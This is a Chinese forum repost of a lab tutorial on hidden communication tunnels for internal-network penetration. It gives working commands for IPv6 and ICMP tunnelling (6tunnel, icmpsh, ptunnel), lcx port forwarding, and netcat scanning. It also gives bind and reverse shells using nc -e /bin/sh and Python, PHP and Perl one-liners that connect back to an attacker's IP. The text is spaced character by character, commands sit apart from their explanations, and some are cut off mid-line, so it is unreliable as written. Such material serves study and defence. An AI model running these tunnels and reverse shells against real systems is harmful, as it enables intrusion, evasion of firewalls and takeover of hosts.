搜索

[18374] 2021-07-01_内网渗透之隐藏通信隧道技术

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-01_内网渗透之隐藏通信隧道技术 内 网 渗 透 之 隐 藏 通 信 隧 道 技 术 s e c u r 1 t y   H A C K 之 道   2 0 2 1 - 0 7 - 0 1 收 录 于 话 题   # 内 网 渗 透   , 5 个 前 言 前 言 前 段 时 间 读 了 读 徐 哥 的 《 内 网 安 全 攻 防 》 ， 并 复 现 了 部 分 知 识 点 ， 写 篇 文 章 记 录 下 学 习 内 容 。 何 为 隐 藏 通 信 隧 道 技 术 ？ 何 为 隐 藏 通 信 隧 道 技 术 ？ 意 义 意 义 当 我 们 成 功 杀 入 内 网 并 完 成 信 息 收 集 后 ， 下 一 步 要 进 行 的 就 是 判 断 内 网 的 连 通 性 （ 也 就 是 各 种 各 样 的 流 量 包 能 否 出 的 去 、 进 的 来 ） ， 隐 藏 通 信 隧 道 技 术 通 常 用 于 在 访 问 受 限 的 内 网 环 境 中 完 成 内 网 之 内 、 内 网 与 公 网 之 间 安 全 、 稳 定 的 数 据 传 输 。 简 介 简 介 在 最 简 单 的 情 况 下 ， 两 台 主 机 之 间 数 据 的 交 换 建 立 在 T C P / I P 协 议 之 上 ， 也 就 是 说 知 道 了 I P 、 建 立 了 T C P 连 接 ， 那 么 两 台 主 机 便 可 以 进 行 数 据 传 输 。 但 在 大 多 数 情 况 下 ， 内 网 的 环 境 存 在 多 种 边 界 设 备 以 及 入 侵 检 测 装 置 的 限 制 ， 它 们 会 对 主 机 间 或 者 内 网 与 外 网 之 间 通 信 的 流 量 进 行 检 测 ， 如 果 存 在 异 常 就 会 进 行 拦 截 ， 这 无 疑 给 内 网 渗 透 增 加 了 难 度 ， 而 隐 藏 通 信 隧 道 技 术 就 是 为 了 绕 过 各 种 边 界 设 备 的 封 锁 ， 从 而 完 成 主 机 间 或 内 网 与 外 网 之 间 的 通 信 。 常 见 隧 道 常 见 隧 道 网 络 层 ： I P V 6 隧 道 、 I C M P 隧 道 传 输 层 ： T C P 隧 道 、 U D P 隧 道 、 端 口 转 发 应 用 层 ： S S H 隧 道 、 H T T P ( S ) 隧 道 、 D N S 隧 道 接 下 来 将 从 三 种 隧 道 中 各 选 几 种 进 行 试 验 网 络 层 网 络 层 1 . I P V 6 隧 道 工 具 ： 6 t u n n e l ( k a l i 自 带 ) 目 标 机 ： w i n s e r v e r   2 0 0 8 攻 击 机 ： k a l i 首 先 开 启 目 标 机 上 的 I P V 6 ( 实 战 中 这 一 步 一 般 由 渗 透 测 试 人 员 上 传 的 软 件 开 启 ) 查 看 目 标 机 的 I P V 6 地 址
在 攻 击 机 中 运 行 这 条 命 令 的 含 义 就 是 将 目 标 机 的 8 0 端 口 （ 目 标 机 使 用 I P V 6 地 址 ） 转 发 到 本 机 的 8 0 端 口 上 （ 本 机 使 用 I P V 4 地 址 ） 转 发 成 功 后 ， 访 问 本 机 8 0 端 口 便 可 以 访 问 到 目 标 机 上 正 在 运 行 的 w e b 服 务 2 . I C M P 隧 道 在 一 般 的 情 况 下 ， 如 果 两 台 主 机 要 进 行 通 信 ， 必 须 要 开 放 相 应 的 端 口 ， 比 如 s s h - 2 2 端 口 ， r d p - 3 3 8 9 端 口 ， 但 如 果 使 用 I C M P 隧 道 ， 则 不 需 要 开 放 任 何 的 端 口 ， 所 以 I C M P 隧 道 十 分 简 单 、 实 用 在 渗 透 测 试 中 ， 如 果 防 火 墙 对 各 种 上 层 协 议 ( H T T P . H T T P S , D N S 等 ) 的 数 据 包 进 行 了 封 锁 ， 那 么 我 们 可 以 尝 试 一 下 网 管 常 常 漏 掉 的 I C M P 协 议 包 ， 我 们 可 以 将 T C P 数 据 包 封 装 到 I C M P 数 据 包 中 ， 如 果 防 火 墙 不 对 I C M P 包 进 行 拦 截 ， 那 么 我 们 便 可 以 实 现 对 防 火 墙 的 突 破 工 具 ： i c m p s h 下 载 地 址 ： h t t p s : / / g i t e e . c o m / W e i y i G e e k / i c m p s h e l l . g i t ( g i t h u b 下 载 太 慢 ， 就 换 了 个 国 内 的 ) 安 装 p y t h o n 的 i m p a c k e t 类 库 ， 以 便 于 对 各 类 协 议 进 行 访 问 s u d o   s u 6 t u n n e l   - 4   8 0     f e 8 0 : : 6 0 9 0 : b b d f : 8 c 0 9 : 6 8 d 6 % e t h 0   8 0 a p t - g e t   i n s t a l l   p y t h o n 3 - i m p a c k e t
但 是 笔 者 这 里 的 安 装 并 不 顺 利 ， 所 以 就 采 用 了 另 一 种 安 装 方 法 ： 直 接 从 g i t h u b 上 下 载 源 码 并 运 行 地 址 ： 如 此 i m p a c k e t 便 安 装 成 功 由 于 i c m p s h 要 代 替 系 统 本 身 的 p i n g 应 答 ， 所 以 要 关 闭 一 下 系 统 的 p i n g 应 答 ， 否 则 工 具 将 无 法 稳 定 运 行 进 入 目 录 后 运 行 依 次 输 入 攻 击 机 I P 和 受 害 机 I P 便 会 自 动 输 出 需 要 在 受 害 机 上 运 行 的 命 令 在 受 害 机 运 行 在 攻 击 机 上 便 可 以 见 到 回 弹 s h e l l 工 具 ： p i n g t u n n e l 本 次 测 试 网 络 拓 扑 图 ： p y t h o n   s e t u p . p y   i n s t a l l s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1 . / r u n . s h
测 试 环 境 : 攻 击 机 可 以 访 问 w e b 服 务 器 ， 不 能 访 问 数 据 库 服 务 器 w e b 服 务 器 只 能 通 过 I C M P 协 议 访 问 数 据 库 服 务 器 渗 透 目 标 ： 利 用 工 具 使 攻 击 机 可 以 访 问 数 据 库 服 务 器 的 3 3 8 9 首 先 要 安 装 工 具 如 果 报 p c a p . h 缺 失 ： 最 后 一 步 过 程 中 又 会 报 N e i t h e r   f l e x   n o r   l e x   w a s   f o u n d 的 错 误 ： 继 续 执 行 ： 回 到 p i n g t u n n e l 目 录 重 新 执 行 w g e t   h t t p : / / w w w . c s . u i t . n o / ~ d a n i e l s / P i n g T u n n e l / P i n g T u n n e l - 0 . 7 2 . t a r . g z t a r   - x z v f   P i n g T u n n e l - 0 . 7 2 . t a r . g z c d   P i n g T u n n e l m a k e   & &   m a k e   i n s t a l l w g e t   h t t p : / / w w w . t c p d u m p . o r g / r e l e a s e / l i b p c a p - 1 . 9 . 0 . t a r . g z   t a r   z x v f   l i b p c a p - 1 . 9 . 0 . t a r . g z   c d   l i b p c a p - 1 . 9 . 0   . / c o n f i g u r e a p t - g e t   i n s t a l l   f l e x   b i s o n . / c o n f i g u r e m a k e s u d o   m a k e   i n s t a l l m a k e   & &   m a k e   i n s t a l l
攻 击 机 工 具 安 装 完 成 接 下 来 还 要 在 w e b 服 务 器 上 安 装 工 具 ， 安 装 过 程 类 似 不 多 赘 述 在 w e b 服 务 器 运 行 命 令 这 条 命 令 便 是 在 w e b 服 务 器 上 开 启 一 个 密 码 为 h a i x i a n 的 i c m p 隧 道 接 下 来 在 攻 击 机 上 执 行 这 条 命 令 的 意 思 是 ， 当 访 问 攻 击 机 的 1 0 8 0 端 口 时 ， 数 据 库 服 务 器 3 3 8 9 端 口 的 数 据 便 会 以 w e b 服 务 器 为 中 转 ， 通 过 刚 刚 搭 建 好 的 以 h a i x i a n 为 密 码 的 I C M P 隧 道 传 送 到 攻 击 机 的 1 0 8 0 端 口 上 接 下 来 访 问 本 机 的 1 0 8 0 端 口 便 可 以 连 接 到 数 据 库 服 务 器 的 远 程 桌 面 了 ( 3 3 8 9 ) p t u n n e l   - x   h a i x i a n p t u n n e l   - p   1 9 2 . 1 6 8 . 1 . 5   - l p   1 0 8 0   - d a   1 9 2 . 1 6 8 . 1 . 2   - d p   3 3 8 9   - x   h a i x i a n
同 理 ， 我 们 可 以 连 接 数 据 库 服 务 器 的 S S H ( 2 2 端 口 ) 或 者 数 据 库 服 务 ( 如 果 是 m y s q l 的 话 为 3 3 0 6 端 口 ) ， 这 里 不 再 赘 述 传 输 层 传 输 层 1 . 端 口 转 发 工 具 ： l c x 下 载 地 址 ： h t t p : / / w w w . v u l n . c n / w p - c o n t e n t / u p l o a d s / 2 0 1 6 / 0 6 / l c x v u l n . c n . z i p l c x 是 一 个 非 常 经 典 的 端 口 转 发 工 具 ， 在 l i n u x 或 者 w i n d o w s 中 均 可 使 用 ， l c x 的 原 理 就 是 搭 建 S o c k e t 隧 道 ， 一 个 正 常 的 S o c k e t 隧 道 必 须 具 备 两 端 ： 客 户 端 、 服 务 端 ， 服 务 端 开 启 监 听 端 口 ， 客 户 端 传 入 服 务 端 的 I P 与 端 口 ， 主 动 与 服 务 端 连 接 在 受 害 机 上 执 行 这 条 命 令 的 意 思 就 是 将 本 机 的 3 3 8 9 端 口 转 发 到 攻 击 机 的 4 4 4 4 端 口 上 之 后 在 攻 击 机 上 执 行 这 条 命 令 的 意 思 就 是 将 本 地 4 4 4 4 端 口 接 收 的 数 据 转 发 到 5 5 5 5 端 口 在 攻 击 机 访 问 本 机 5 5 5 5 端 口 可 见 成 功 访 问 受 害 机 远 程 桌 面 ( 3 3 8 9 端 口 ) l c x . e x e   - s l a v e   1 9 2 . 1 6 8 . 1 . 4 ( 攻 击 机 I P )   4 4 4 4   1 2 7 . 0 . 0 . 1   3 3 8 9 . / p o r t m a p   - m   2   - p 1   4 4 4 4   - h 2   1 9 2 . 1 6 8 . 1 . 4   - p 2   5 5 5 5
2 . n e t c a t k a l i 上 会 自 带 这 个 工 具 ， 可 以 使 用 查 看 n e t c a t 的 安 装 情 况 n e t c a t 部 分 参 数 介 绍 B a n n e r 抓 取 抓 取 这 是 一 种 在 特 定 端 口 检 索 关 于 特 定 服 务 信 息 的 技 术 ， 在 渗 透 测 试 中 常 用 于 信 息 收 集 或 者 寻 找 漏 洞 现 在 我 们 尝 试 抓 取 w i n s e r v e r   2 0 0 8 ( 1 9 2 . 1 6 8 . 1 . 2 ) 3 3 8 9 端 口 的 相 关 信 息 使 用 尝 试 连 接 3 3 8 9 端 口 扫 描 端 口 扫 描 扫 描 8 0 端 口 n c   - h e l p - p   指 定 端 口 - v   显 示 细 节 - u   使 用 U D P 传 输 协 议 - l   监 听 模 式 - w   设 置 超 时 时 间 n c   - n v   1 9 2 . 1 6 8 . 1 . 2   3 3 8 9 n c   - n v v   1 9 2 . 1 6 8 . 1 . 2   3 3 8 9 n c   - v     1 9 2 . 1 6 8 . 1 . 2   8 0
可 以 看 到 目 标 主 机 的 8 0 端 口 是 开 启 的 获 得 获 得 s h e l l ( 1 ) . 正 向 s h e l l 即 攻 击 机 主 动 去 连 接 受 害 机 ， 正 向 连 接 使 用 频 率 较 少 ， 因 为 这 种 s h e l l 很 容 易 被 各 种 边 界 设 备 所 拦 截 在 受 害 机 中 执 行 这 条 命 令 的 意 思 是 把 / b i n / s h 发 送 给 请 求 本 机 4 4 4 4 端 口 的 终 端 在 攻 击 机 上 执 行 去 主 动 连 接 受 害 机 的 4 4 4 4 端 口 在 攻 击 机 上 使 用 i f c o n f i g 查 看 I P 发 现 已 经 是 受 害 机 的 I P ( 2 ) . 反 向 s h e l l 即 受 害 及 主 动 来 连 接 攻 击 机 ， 这 种 方 法 在 渗 透 测 试 中 更 为 常 用 ， 因 为 它 可 以 突 破 许 多 边 界 设 备 的 封 锁 在 攻 击 机 上 执 行 开 始 监 听 本 机 5 5 5 5 端 口 接 下 来 在 受 害 机 中 执 行 这 条 命 令 的 意 思 就 是 去 主 动 连 接 攻 击 机 的 5 5 5 5 端 口 并 把 / b i n / s h 传 送 给 5 5 5 5 端 口 n c   - l v p   4 4 4 4   - e   / b i n / s h n c   1 9 2 . 1 6 8 . 1 . 5   4 4 4 n c   - l v p   5 5 5 5 n c   1 9 2 . 1 6 8 . 1 . 4   5 5 5 5   - e   / b i n / s h
可 以 看 到 在 攻 击 机 上 已 经 收 到 了 受 害 机 的 s h e l l 但 这 个 实 验 是 建 立 在 受 害 机 已 经 安 装 n e t c a t 这 个 工 具 了 ， 而 实 际 情 况 下 如 果 没 有 安 装 应 该 怎 么 办 呢 ？ 1 . 使 用 p y t h o n 反 弹 s h e l l 执 行 如 下 命 令 ， 在 攻 击 机 上 监 听 本 地 1 2 3 4 端 口 在 受 害 机 中 执 行 攻 击 机 上 收 到 回 弹 s h e l l 但 是 这 种 方 法 又 建 立 在 受 害 及 上 存 在 p y t h o n 环 境 的 情 况 下 p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 攻 击 机 I P " , 攻 击 机 监 听 的 端 口 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [
如 果 受 害 机 上 没 有 p y t h o n 环 境 怎 么 办 呢 ？ 2 . p h p 反 弹 s h e l l 如 果 没 有 p y t h o n 环 境 ， 但 受 害 机 上 存 在 p h p 环 境 ， 那 么 也 可 以 利 用 p h p 反 弹 s h e l l 执 行 如 下 命 令 ， 在 攻 击 机 上 监 听 本 地 2 0 2 1 端 口 在 受 害 机 上 执 行 可 以 看 到 在 攻 击 机 上 以 及 收 到 了 反 弹 s h e l l 那 如 果 在 受 害 机 上 既 没 有 p y t h o n 环 境 又 没 有 p h p 环 境 该 怎 么 办 呢 ？ 3 . p e r l 反 弹 s h e l l 如 果 目 标 机 器 上 使 用 的 是 p e r l 语 言 ， 那 么 我 们 还 可 以 使 用 p e r l 反 弹 s h e l l 攻 击 机 本 地 监 听 4 3 2 1 端 口 受 害 机 执 行 可 以 在 攻 击 机 上 收 到 反 弹 s h e l l p h p   - r   ' $ s o c k = f s o c k o p e n ( " 攻 击 机 i p " , 攻 击 机 监 听 的 端 口 ) ; e x e c ( " / b i n / b a s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' n c   - l v p   4 3 2 1 p e r l   - e   ' u s e   S o c k e t ; $ i = " 攻 击 机 i p " ; $ p = 攻 击 机 监 听 端 口 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理